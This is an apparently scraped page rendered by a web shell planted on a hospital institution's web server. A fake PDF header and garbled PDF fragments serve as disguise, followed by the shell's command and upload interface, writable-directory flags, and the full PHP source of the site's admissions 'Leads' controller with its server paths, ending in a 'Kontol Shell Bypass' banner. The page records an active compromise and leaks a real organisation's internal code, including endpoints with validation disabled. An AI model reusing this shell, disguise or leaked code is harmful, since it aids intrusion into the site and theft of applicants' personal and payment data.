%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers_old/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers_old/Leads.php
<?php
class Leads extends MY_Controller {
    function __construct() {
		parent::__construct();
		not_logged_res(); 
		ini_set('memory_limit', '2048M');
		$this->checkAccess('lead_view');
		$this->load->model("leads_model", "leads");
		$this->load->model("master_model", "master");
		$this->load->model("dataset_model", "dataset");
	}

	function init(){
		$lvOpt=$this->dataset->detail(0, USER_ID);

		$states=$this->common->states();
		$data['states']=[];
		if($lvOpt['states']){
			foreach($states as $i=>$r){
				if(in_array($r['id'], $lvOpt['states'])){
					$data['states'][]=$r;
				}
			}
		}else{
			$data['states']=$states;
		}

		$cities=$this->common->cities();
		$data['cities']=[];
		if($lvOpt['cities']){
			foreach($lvOpt['cities'] as $state_id=>$city_ids){
				foreach($cities as $r){
					if(in_array($r['id'], $city_ids)){
						$data['cities'][]=$r;
					}
				}
			}
		}
		if(!$data['cities']){
			$data['cities']=$cities;
        }

		$programs=$this->common->programs();
		$data['programs']=[];
		if($lvOpt['programs']){
			foreach($programs as $i=>$r){
				if(in_array($r['id'], $lvOpt['programs'])){
					$data['programs'][]=$r;
				}
			}
		}else{
			$data['programs']=$programs;
        }

		$utm_sources=$this->common->allUtmSources(true);
		$data['utm_sources']=[];
		if($lvOpt['utm_sources']){
			foreach($utm_sources as $i=>$r){
				if(in_array($r['id'], $lvOpt['utm_sources'])){
					$data['utm_sources'][]=$r;
				}
			}
		}else{
			$data['utm_sources']=$utm_sources;
        }

		$data['plans']=$this->common->plans();
		$data['lpages']=$this->common->allLandingPages(true);
		$data['disciplines']=$this->common->disciplines();
		
		$data['utm_groups']=$this->common->utmGroups(true);  
		$data['programTypes']=$this->master->programTypes(); 

		$data['applicantCats']=$this->common->applicantCats();
		$data['religions']=$this->common->religions();
		$data['boards']=$this->common->boards();
		$data['universities']=$this->common->universities();
		$data['markingSchemes']=$this->common->markingSchemes();
		$data['academicCareers']=$this->common->academicCareers();

		$data['remarks_cats']=$this->leads->remarks_cats();
		$data['remarks']=$this->leads->remarks();

		$data['pyears']=[];
		for($i=date('Y')-70; $i<=date('Y')+1; $i++){
			$data['pyears'][]=$i;
        }
        $data['ps_app_status_list']=$this->db->query("SELECT DISTINCT DESCR1 FROM ps_stu_status WHERE DESCR1!=''")->result_array();

		$data['lead_restrict']=LEAD_RESTRICT;
		$this->json_data($data);
	}

	function lists(){
		$qs=trim_array($_REQUEST);
		if(LEAD_RESTRICT){
			$_REQUEST['fromDate']='';
			$_REQUEST['toDate']='';
			if(!$qs['k']){
				$data['result']=[];
			}else{
				$data=$this->leads->lists();
			}
		}else{
			if($qs['step_completed'] && in_array('0', $qs['step_completed'])){
				$data=$this->leads->listsStepZero();
			}else{
				$data=$this->leads->lists();
			}
		}
	
		$this->json_data($data);
	}

	function exportLists(){
		$qs=trim_array($_REQUEST);
		if($qs['step_completed'] && in_array('0', $qs['step_completed'])){
			$data=$this->leads->listsStepZero(TRUE);
			download_leads_csv($data['result'], leadsKeysLabelsStep0());
		}else{
			$data=$this->leads->listsToExport();
			download_leads_csv($data, leadsKeysLabels());
		}
	}

	function detailToEdit($id=0, $step_completed=0){
		if(!$step_completed){
			return [];
		}
		$data['app']=$this->leads->applicationDtl($id);
		if($data['app']){
			$data['usr']=$this->leads->userDetail($data['app']['applicant_id']);
			$data['edu']=$this->leads->eduDetail($data['app']['applicant_id']);
			
			$data['acDtl']=$this->common->acDtl($data['app']['ac_id']);
			$data['programs']=$this->common->programs($data['app']['ac_id']);
			$data['plans']=$this->common->plans($data['app']['program_id']);
		}
		$this->json_data($data);
	}
	
	function delete(){
		$this->checkAccess('lead_delete');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$step_completed=intval($this->input->post('step_completed'));
		if(!$step_completed){
			if($this->db->delete("tmp_applicants", array('id'=>$id))){
				$inf['success']='T';
				$inf['msg']="Lead deleted successfully";
			}
			$this->json_data($inf);
		}
		
		$dtl=$this->db->select("applicant_id, step_completed")->get_where("applications", array('id'=>$id))->row_array();
		if($dtl['step_completed']==3){
		 	//$inf['msg']="Can't be deleted because payment has been made!"; $this->json_data($inf);
		}

		if($this->leads->delete($id)){
			if(!$this->db->select("id")->get_where("applications", array('applicant_id'=>$dtl['applicant_id']))->row()->id){
				$udtl=$this->db->select("id, profile_pic")->get_where("applicants", array('id'=>$dtl['applicant_id']))->row_array();
				if($this->leads->deleteApplicant($udtl['id'])){
					if($udtl['profile_pic']){
						del_file(UP_PATHF.'profile_pics/'.$udtl['profile_pic']);
					}
				}
			}
			
			$inf['success']='T';
			$inf['msg']="Lead deleted successfully";
		}
		$this->json_data($inf);
	}

	function dob_validation($v){
		if (strtotime($v) > strtotime("-10 years", time())){
			$this->form_validation->set_message("dob_validation", "DOB must be before 10 years");
			return FALSE;
		}else{
			return TRUE;
		}
	}

	function diploma_12_req($v){
		$post=trim_array($this->input->post());
		if(!$post['board_id_12th'] && !$post['board_id_dip']){
			$this->form_validation->set_message("diploma_12_req", "Diploma or 12th details required");
			return FALSE;
		}
		if($post['board_id_12th'] && $post['board_id_dip']){
			$this->form_validation->set_message("diploma_12_req", "Only one (Either Diploma or 12th) details required");
			return FALSE;
		}
		return TRUE;
	}

	function check_valid_name($str){ 
		$is_only_alpha=( ! preg_match("/^([-a-z_ ])+$/i", $str)) ? FALSE : TRUE ;
		if(!$is_only_alpha){
			$this->form_validation->set_message("check_valid_name", "Only alphabet and space are allowed in %s");
		}
		return $is_only_alpha;
	}

	function pg_yr_validation($str){
		$post=trim_array($this->input->post());
		$pg_yr=(int)$post['passing_year_pg'];
		$ug_yr=(int)$post['passing_year_ug'];
		if($pg_yr <= $ug_yr){
			$this->form_validation->set_message("pg_yr_validation", "%s must be greater then undergrduate");
			return FALSE;
		}
		return TRUE;
	}

	function ug_yr_validation($str){
		$post=trim_array($this->input->post());
		$ug_yr=(int)$post['passing_year_ug'];
		$inter_yr=(int)$post['passing_year_12th'];
		if($ug_yr <= $inter_yr){
			$this->form_validation->set_message("ug_yr_validation", "%s must be greater then 12th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function twelth_yr_validation($str){
		$post=trim_array($this->input->post());
		$inter_yr=(int)$post['passing_year_12th'];
		$tenth_yr=(int)$post['passing_year_10th'];
		if($inter_yr <= $tenth_yr){
			$this->form_validation->set_message("twelth_yr_validation", "%s must be greater then 10th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function dip_yr_validation($str){
		$post=trim_array($this->input->post());
		$dip_yr=(int)$post['passing_year_dip'];
		$tenth_yr=(int)$post['passing_year_10th'];
		if($dip_yr <= $tenth_yr){
			$this->form_validation->set_message("dip_yr_validation", "%s must be greater then 10th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function updateLead(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if(!$post['id']){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$appDtl=$this->db->select("id,applicant_id,ac_id,step_completed")->get_where("applications", array('id'=>$post['id']))->row_array();
		if($appDtl['step_completed']==3){
			$inf['msg']="You can not updated paid lead"; $this->json_data($inf);
		}
		$applicantId=$appDtl['applicant_id'];
		if(!$appDtl){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$acDtl=$this->common->acDtl($appDtl['ac_id']);

		if($appDtl['step_completed']<3){
			$this->form_validation->set_rules('ac_id', 'Academic Career', "required", $this->req);
			$this->form_validation->set_rules('program_id', 'Program', "required", $this->req);
			$this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);
		}

		$checkValidation=false;
		if($checkValidation){
			$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
			$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email.id!='$applicantId']", $this->req);
			$this->form_validation->set_rules('mob', 'mob', "required|integer|exact_length[10]|is_unique[applicants.mob.id!='$applicantId']", $this->req);
			$this->form_validation->set_rules('father_name', 'Father name', "required|callback_check_valid_name", $this->req);
			$this->form_validation->set_rules('dob', 'Date of Birth', "required|callback_valid_date|callback_dob_validation", $this->req);
			$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
			$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
			$this->form_validation->set_rules('city_id', 'City', "required", $this->req);
			if($post['city_id']==-1){
				$this->form_validation->set_rules('city', 'Other city name', 'required', $this->req);
			}else if($post['city_id']){
				$post['city']=$this->db->get_where("master_cities", array('id'=>$post['city_id']))->row()->title;
			}
			$this->form_validation->set_rules('address', 'Address', "required", $this->req);
			$this->form_validation->set_rules('pincode', 'Pincode', "required|integer|exact_length[6]", $this->req);
			$this->form_validation->set_rules('cat_id', 'Category', "required", $this->req);
			$this->form_validation->set_rules('religion_id', 'Religion', "required", $this->req);

			/** Education Validation */
			if($acDtl['req_10th']){
				$this->form_validation->set_rules('board_id_10th', 'Board of 10th', "required", $this->req);
				$this->form_validation->set_rules('marking_scheme_id_10th', 'Marking scheme of 10th', "required", $this->req);

				if($post['board_id_10th']==-1){
					$this->form_validation->set_rules('board_10th', 'Other board name of 10th', 'required', $this->req);
				}else if($post['board_id_10th']){
					$post['board_10th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_10th']))->row()->title;
				}
				if($post['status_10th']){
					$this->form_validation->set_rules('marks_10th', 'Marks of 10th', "required", $this->req);
					$this->form_validation->set_rules('passing_year_10th', 'Passing year of 10th', "required", $this->req);
				}else{
					$post['marks_10th']=$post['passing_year_10th']='';
				}
			}else{
				$post['status_10th']=$post['board_id_10th']=$post['board_10th']=$post['marking_scheme_id_10th']=$post['marks_10th']=$post['passing_year_10th']='';
			}

			if($acDtl['req_12th']){
				$this->form_validation->set_rules('diploma_12_req', '', "callback_diploma_12_req", $this->req);

				if($post['board_id_dip'] && !$post['board_id_12th']){
					$this->form_validation->set_rules('board_id_dip', 'Board of diploma', "required", $this->req);
					$this->form_validation->set_rules('marking_scheme_id_dip', 'Marking scheme of diploma', "required", $this->req);
					if($post['board_id_dip']==-1){
						$this->form_validation->set_rules('board_dip', 'Other board name of diploma', 'required', $this->req);
					}else if($post['board_id_dip']){
						$post['board_dip']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_dip']))->row()->title;
					}
					if($post['status_dip']){
						$this->form_validation->set_rules('marks_dip', 'Marks of diploma', "required", $this->req);
						$this->form_validation->set_rules('passing_year_dip', 'Passing year of diploma', "required|callback_dip_yr_validation", $this->req);
					}else{
						$post['marks_dip']=$post['passing_year_dip']='';
					}
					$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
				}else{
					$this->form_validation->set_rules('board_id_12th', 'Board of 12th', "required", $this->req);
					$this->form_validation->set_rules('marking_scheme_id_12th', 'Marking scheme of 12th', "required", $this->req);
					if($post['board_id_12th']==-1){
						$this->form_validation->set_rules('board_12th', 'Other board name of 12th', 'required', $this->req);
					}else if($post['board_id_12th']){
						$post['board_12th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_12th']))->row()->title;
					}
					if($post['status_12th']){
						$this->form_validation->set_rules('marks_12th', 'Marks of 12th', "required", $this->req);
						$this->form_validation->set_rules('passing_year_12th', 'Passing year of 12th', "required|callback_twelth_yr_validation", $this->req);
					}else{
						$post['marks_12th']=$post['passing_year_12th']='';
					}
					$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
				}
			}else{
				$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
				$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
			}

			if($acDtl['req_ug']){
				$this->form_validation->set_rules('university_id_ug', 'University of graduation', "required", $this->req);
				$this->form_validation->set_rules('marking_scheme_id_ug', 'Marking scheme of graduation', "required", $this->req);
				if($post['university_id_ug']==-1){
					$this->form_validation->set_rules('university_ug', 'Other university name of graduation', 'required', $this->req);
				}else if($post['university_id_ug']){
					$post['university_ug']=$this->db->get_where("master_universities", array('id'=>$post['university_id_ug']))->row()->title;
				}
				if($post['status_ug']){
					$this->form_validation->set_rules('marks_ug', 'Marks of graduation', "required", $this->req);
					$this->form_validation->set_rules('passing_year_ug', 'Passing year of graduation', "required|callback_ug_yr_validation", $this->req);
				}else{
					$post['marks_ug']=$post['passing_year_ug']='';
				}
			}else{
				$post['status_ug']=$post['university_id_ug']=$post['university_ug']=$post['marking_scheme_id_ug']=$post['marks_ug']=$post['passing_year_ug']='';
			}

			if($acDtl['req_pg']){
				$this->form_validation->set_rules('university_id_pg', 'University of post graduation', "required", $this->req);
				$this->form_validation->set_rules('marking_scheme_id_pg', 'Marking scheme of post graduation', "required", $this->req);
				if($post['university_id_pg']==-1){
					$this->form_validation->set_rules('university_pg', 'Other university name of post graduation', 'required', $this->req);
				}else if($post['university_id_pg']){
					$post['university_pg']=$this->db->get_where("master_universities", array('id'=>$post['university_id_pg']))->row()->title;
				}
				if($post['status_pg']){
					$this->form_validation->set_rules('marks_pg', 'Marks of post graduation', "required", $this->req);
					$this->form_validation->set_rules('passing_year_pg', 'Passing year of post graduation', "required|callback_pg_yr_validation", $this->req);
				}else{
					$post['marks_pg']=$post['passing_year_pg']='';
				}
			}else{
				$post['status_pg']=$post['university_id_pg']=$post['university_pg']=$post['marking_scheme_id_pg']=$post['marks_pg']=$post['passing_year_pg']='';
			}
		}
		/** \ */

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$post['dob']=to_date_format($post['dob']);
			$data['dtl']=filter_value($post, array('name', 'email', 'mob', 'father_name', 'dob', 'gender', 'state_id', 'city_id', 'city', 'address', 'pincode', 'cat_id', 'religion_id', 'identity_proof', 'identity_proof_no', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
			$data['eduDtl']=filter_value($post, array('status_10th', 'board_id_10th', 'board_10th', 'marking_scheme_id_10th', 'marks_10th', 'passing_year_10th', 
													  'status_12th', 'board_id_12th', 'board_12th', 'marking_scheme_id_12th', 'marks_12th', 'passing_year_12th',
													  'status_dip', 'board_id_dip', 'board_dip', 'marking_scheme_id_dip', 'marks_dip', 'passing_year_dip',
													  'status_ug', 'university_id_ug', 'university_ug', 'marking_scheme_id_ug', 'marks_ug', 'passing_year_ug',
													  'status_pg', 'university_id_pg', 'university_pg', 'marking_scheme_id_pg', 'marks_pg', 'passing_year_pg'));
			
			
			$data['app']=filter_value($post, array('ac_id', 'program_id', 'plan_id'));
			if($app_id=$this->leads->updateLead($data, $appDtl)){
				$inf['success']='T';
				$inf['msg']='Lead successfully';
			}
		}

		$this->json_data($inf);
	}

	/** */
	function detail($id=0, $step_completed=0){
		if(!$step_completed){
			return [];
		}
		$data['dtl']=$this->leads->detail($id);
		$this->json_data($data);
	}

	function appDtlNdCoupans($id=0){
		$data['appDtl']=$this->leads->applicationDtl($id);
		$data['coupans']=$this->leads->coupans($data['appDtl']['applicant_id'], $data['appDtl']['plan_id'], $data['appDtl']['program_id']);

		$this->json_data($data);
	}

	function recordCash(){
		$this->checkAccess('record_cash');

		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=$this->input->post();
		$dtl=$this->leads->detail($post['application_id']);
		if($dtl['step_completed']==1){
			$inf['msg']="Please completed step 2 first"; $this->json_data($inf);
		}
		if($dtl['payment_status']==1){
			$inf['msg']="Already paid"; $this->json_data($inf);
		}

		$cash_order_id="SU_".date('y')."_CASH_".$post['application_id'];
		$d=array('id'=>$post['application_id'], 'step_completed'=>3, 'step3date'=>currentDT(), 'payment_status'=>1, 'payment_mode'=>'CASH', 'cash_order_id'=>$cash_order_id, 'fee'=>$post['fee'], 'coupan_used'=>$post['coupan_used'], 'coupan_amt'=>$post['coupan_amt']);
		$this->common->save($d, "applications");
		$d=array('application_id'=>$post['application_id'], 'amount'=>$post['fee']-$post['coupan_amt']);
		$this->common->save($d, "cash_collections");

		$this->load->model('ps_model', 'ps');
		$this->ps->addLeadToPS($post['application_id']);

		$inf['dtl']=$this->leads->detail($post['application_id']);

		$sms="Dear ".$inf['dtl']['name'].", your payment has been received. We are processing your application. You will receive your application number shortly.";
		send_sms($inf['dtl']['mob'], $sms);

		$inf['success']=true;
		$inf['msg']="Cash recorded";
		$this->json_data($inf);
	}

	function cancelCashReceipt(){
		$this->checkAccess('record_cash');

		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=$this->input->post();
		$dtl=$this->leads->detail($post['application_id']);
	
		if($dtl['payment_mode']!='CASH'){
			$inf['msg']="Cash has not received"; $this->json_data($inf);
		}
		if($dtl['cashTrans']['created_by']!=USER_ID){
			$inf['msg']="This cash has not received by you"; $this->json_data($inf);
		}

		$d=array('id'=>$post['application_id'], 'step_completed'=>2, 'step3date'=>NULL, 'payment_status'=>0, 'payment_mode'=>'', 'cash_order_id'=>'', 'coupan_used'=>'', 'coupan_amt'=>0);
		$this->common->save($d, "applications");
		$this->db->delete("cash_collections", array('application_id'=>$post['application_id']));

		$this->load->model('ps_model', 'ps');
		$this->ps->deleteLeadFromPS($dtl['application_no']);

		$inf['dtl']=$this->leads->detail($post['application_id']);
		$inf['success']=true;
		$inf['msg']="Cash recorded";
		$this->json_data($inf);
	}

	/** Feedback */
	function getRemarksFeedback($id=0){
		$data=$this->leads->getRemarksFeedback($id);
		$this->json_data($data);
	}

	function addRemarkFeedback(){
		$this->checkAccess('add_lead_remarks');

		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('remarks_id', 'Disposition', 'required', $this->req);
		$this->form_validation->set_rules('subremarks', 'Remarks', 'required', $this->req);
		$this->form_validation->set_rules('feedback', 'Comment', 'required', $this->req);
		
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'application_id', 'remarks_id', 'subremarks', 'feedback'));
			
			if($this->common->save($data, "applications_remarks")){
				$inf['success']=true;
				$inf['msg']='Remarks/Comments '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}


	/** Import Old */
	/*
	DELETE FROM `applicants` WHERE `is_migrated` = '2' AND id>=2000;
DELETE FROM `applications` WHERE `is_migrated` = '2' AND id>=2000;
DELETE FROM `pay_trans` WHERE `is_migrated` = '2';*/

	function uploadLeads(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$this->load->library('excel');
		$rows=$this->excel->read("paid-till-march-19.xlsx");
		pr($rows); die;

		$planCodeErr=[];
		$acErr=[];

		$d=[];
		$d1=[];
		$idc=2000;
		foreach($rows as $i=>$r){
			
			if($i==0) continue;
			$r=trim_array($r);
			if(!$r[1]) continue;
			
			$utm_source=$r[16];
			if($utm_source){
                $utm_source_id=$this->db->get_where("master_utm_sources", array('title'=>$utm_source))->row()->id;
                if(!$utm_source_id){
                    $utm_source_id=$this->common->save(array('title'=>$utm_source, 'status'=>1), "master_utm_sources");
                }
			}
			
			//$dt=explode("/", $r['21']);
			//$date=to_date_format($dt[2].'-'.$dt[1].'-'.$dt[0]);
			$date=$r['21'];
			
			$planDtl=$this->db->select("id,program_id")->get_where("master_program_plans", array('code'=>$r[9]))->row_array();
			$plan_id=$planDtl['id'];
			$program_id=$planDtl['program_id'];
			if(!$plan_id){
				$planCodeErr[]=array('system_id'=>$r[0], 'plan_code'=>$r[9]); 
				continue;
				pr("plan_id error");
				pr($r);
			}

			$ac_id=$this->db->get_where("master_programs", array('id'=>$program_id))->row()->ac_id;
			if(!$ac_id){
				continue;
				pr("ac_id error");
				pr($r);
			}
			
			$city_id=$this->db->get_where("master_cities", array('title'=>$r[11]))->row()->id;
			if(!$city_id){
				$city_id=-1;
				//continue;
				//pr("city error ".$r[11]);
				//pr($r);
			}
			

			$state_id=$this->db->get_where("master_states", array('title'=>$r[12]))->row()->id;
			if(!$state_id){
				//continue;
				pr("stae code error ".$r[9]);
				pr($r);
			}


			$d[]=replace_null(array(
				'id'=>$idc,
				'lpage_id'=>90,
				'name'=>$r['1'],
				'email'=>$r['2'],
				'mob'=>$r['3'],
				'dob'=>$r['4'],
				'gender'=>$r['5'],
				'city'=>$r['11'],
				'pincode'=>$r['14'],
				'city_id'=>$city_id,
				'state_id'=>$state_id,
				'utm_source_id'=>$utm_source_id,
				'utm_source'=>$utm_source,
				'created'=>$date,
				'updated'=>$date,
				'is_migrated'=>2,
			));
			$d1[]=replace_null(array(
				'id'=>$idc,
				'applicant_id'=>$idc,
				'application_no'=>$r[0],
				'ac_id'=>$ac_id,
				'program_id'=>$program_id,
				'plan_id'=>$plan_id,
				'step_completed'=>3,
				'payment_status'=>1,
				'payment_mode'=>'ONLINE',
				'fee'=>$r['26'],
				'pay_trans_id'=>0,
				'step2date'=>$date,
				'step3date'=>$date,
				'created'=>$date,
				'updated'=>$date,
				'is_migrated'=>2,
			));

			$d2[]=replace_null(array(
				'applicant_id'=>$idc,
				'application_id'=>$idc,
				'pay_order_id'=>$r[18],
				'txn_id'=>$r[19],
				'txn_status'=>'TXN_SUCCESS',
				'txn_date'=>$date,
				'respcode'=>$r[22],
				'respmsg'=>$r[23],
				'bank_name'=>$r[24],
				'payment_mode'=>$r[25],
				'txn_amt'=>$r[26],
				'payment_status'=>'SUCCESS',
				'created'=>$date,
				'updated'=>$date,
				'is_migrated'=>2,
			));

			$idc++;
		}

		pr($d);
		die;

		$this->db->insert_batch("applicants", $d);

		//pr($this->db->last_query());

		$this->db->insert_batch("applications", $d1);

		//pr($this->db->last_query());

		$this->db->insert_batch("pay_trans", $d2);

		//pr($this->db->last_query());
	}
}

//EOF

Kontol Shell Bypass